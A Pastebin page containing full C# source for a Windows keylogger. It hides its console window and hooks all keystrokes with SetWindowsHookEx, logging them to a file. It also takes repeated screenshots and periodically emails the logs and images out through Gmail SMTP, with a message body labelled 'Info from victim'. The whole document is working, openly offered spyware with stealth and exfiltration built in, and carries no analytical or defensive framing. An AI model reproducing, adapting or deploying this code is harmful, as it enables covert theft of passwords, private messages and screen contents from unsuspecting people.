Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.Drawing;
- using System.Drawing.Imaging;
- using System.IO;
- using System.Linq;
- using System.Net.Mail;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace KeyLogger
- {
- class Program
- {
- #region hook key board
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 0x0100;
- private static LowLevelKeyboardProc _proc = HookCallback;
- private static IntPtr _hookID = IntPtr.Zero;
- private static string logName = "Log_";
- private static string logExtendtion = ".txt";
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(int idHook,
- LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
- IntPtr wParam, IntPtr lParam);
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
- /// <summary>
- /// Delegate a LowLevelKeyboardProc to use user32.dll
- /// </summary>
- /// <param name="nCode"></param>
- /// <param name="wParam"></param>
- /// <param name="lParam"></param>
- /// <returns></returns>
- private delegate IntPtr LowLevelKeyboardProc(
- int nCode, IntPtr wParam, IntPtr lParam);
- /// <summary>
- /// Set hook into all current process
- /// </summary>
- /// <param name="proc"></param>
- /// <returns></returns>
- private static IntPtr SetHook(LowLevelKeyboardProc proc)
- {
- using (Process curProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule curModule = curProcess.MainModule)
- {
- return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
- GetModuleHandle(curModule.ModuleName), 0);
- }
- }
- }
- /// <summary>
- /// Every time the OS call back pressed key. Catch them
- /// then cal the CallNextHookEx to wait for the next key
- /// </summary>
- /// <param name="nCode"></param>
- /// <param name="wParam"></param>
- /// <param name="lParam"></param>
- /// <returns></returns>
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
- {
- int vkCode = Marshal.ReadInt32(lParam);
- CheckHotKey(vkCode);
- WriteLog(vkCode);
- }
- return CallNextHookEx(_hookID, nCode, wParam, lParam);
- }
- /// <summary>
- /// Write pressed key into log.txt file
- /// </summary>
- /// <param name="vkCode"></param>
- static void WriteLog(int vkCode)
- {
- Console.WriteLine((Keys)vkCode);
- string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
- StreamWriter sw = new StreamWriter(logNameToWrite, true);
- sw.Write((Keys)vkCode);
- sw.Close();
- }
- /// <summary>
- /// Start hook key board and hide the key logger
- /// Key logger only show again if pressed right Hot key
- /// </summary>
- static void HookKeyboard()
- {
- _hookID = SetHook(_proc);
- Application.Run();
- UnhookWindowsHookEx(_hookID);
- }
- static bool isHotKey = false;
- static bool isShowing = false;
- static Keys previoursKey = Keys.Separator;
- static void CheckHotKey(int vkCode)
- {
- if ((previoursKey == Keys.LControlKey || previoursKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
- isHotKey = true;
- if (isHotKey)
- {
- if (!isShowing)
- {
- DisplayWindow();
- }
- else
- HideWindow();
- isShowing = !isShowing;
- }
- previoursKey = (Keys)vkCode;
- isHotKey = false;
- }
- #endregion
- #region Capture
- static string imagePath = "Image_";
- static string imageExtendtion = ".png";
- static int imageCount = 0;
- static int captureTime = 100;
- /// <summary>
- /// Capture al screen then save into ImagePath
- /// </summary>
- static void CaptureScreen()
- {
- //Create a new bitmap.
- var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
- Screen.PrimaryScreen.Bounds.Height,
- PixelFormat.Format32bppArgb);
- // Create a graphics object from the bitmap.
- var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
- // Take the screenshot from the upper left corner to the right bottom corner.
- gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
- Screen.PrimaryScreen.Bounds.Y,
- 0,
- 0,
- Screen.PrimaryScreen.Bounds.Size,
- CopyPixelOperation.SourceCopy);
- string directoryImage = imagePath + DateTime.Now.ToLongDateString();
- if (!Directory.Exists(directoryImage))
- {
- Directory.CreateDirectory(directoryImage);
- }
- // Save the screenshot to the specified path that the user has chosen.
- string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
- try
- {
- bmpScreenshot.Save(imageName, ImageFormat.Png);
- }
- catch
- {
- }
- imageCount++;
- }
- #endregion
- #region Timer
- static int interval = 1;
- static void StartTimmer()
- {
- Thread thread = new Thread(() => {
- while (true)
- {
- Thread.Sleep(1);
- if (interval % captureTime == 0)
- CaptureScreen();
- if (interval % mailTime == 0)
- SendMail();
- interval++;
- if (interval >= 1000000)
- interval = 0;
- }
- });
- thread.IsBackground = true;
- thread.Start();
- }
- #endregion
- #region Windows
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- // hide window code
- const int SW_HIDE = 0;
- // show window code
- const int SW_SHOW = 5;
- static void HideWindow()
- {
- IntPtr console = GetConsoleWindow();
- ShowWindow(console, SW_HIDE);
- }
- static void DisplayWindow()
- {
- IntPtr console = GetConsoleWindow();
- ShowWindow(console, SW_SHOW);
- }
- #endregion
- #region Mail
- static int mailTime = 5000;
- static void SendMail()
- {
- try
- {
- MailMessage mail = new MailMessage();
- SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
- mail.From = new MailAddress("email@gmail.com");
- mail.To.Add("email@gmail.com");
- mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
- mail.Body = "Info from victim\n";
- string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;
- if (File.Exists(logFile))
- {
- StreamReader sr = new StreamReader(logFile);
- mail.Body += sr.ReadToEnd();
- sr.Close();
- }
- string directoryImage = imagePath + DateTime.Now.ToLongDateString();
- DirectoryInfo image = new DirectoryInfo(directoryImage);
- foreach (FileInfo item in image.GetFiles("*.png"))
- {
- if (File.Exists(directoryImage + "\\" + item.Name))
- mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name));
- }
- SmtpServer.Port = 587;
- SmtpServer.Credentials = new System.Net.NetworkCredential("email@gmail.com", "password");
- SmtpServer.EnableSsl = true;
- SmtpServer.Send(mail);
- Console.WriteLine("Send mail!");
- // phải làm cái này ở mail dùng để gửi phải bật lên
- // https://www.google.com/settings/u/1/security/lesssecureapps
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.ToString());
- }
- }
- #endregion
- static void Main(string[] args)
- {
- HideWindow();
- StartTimmer();
- HookKeyboard();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement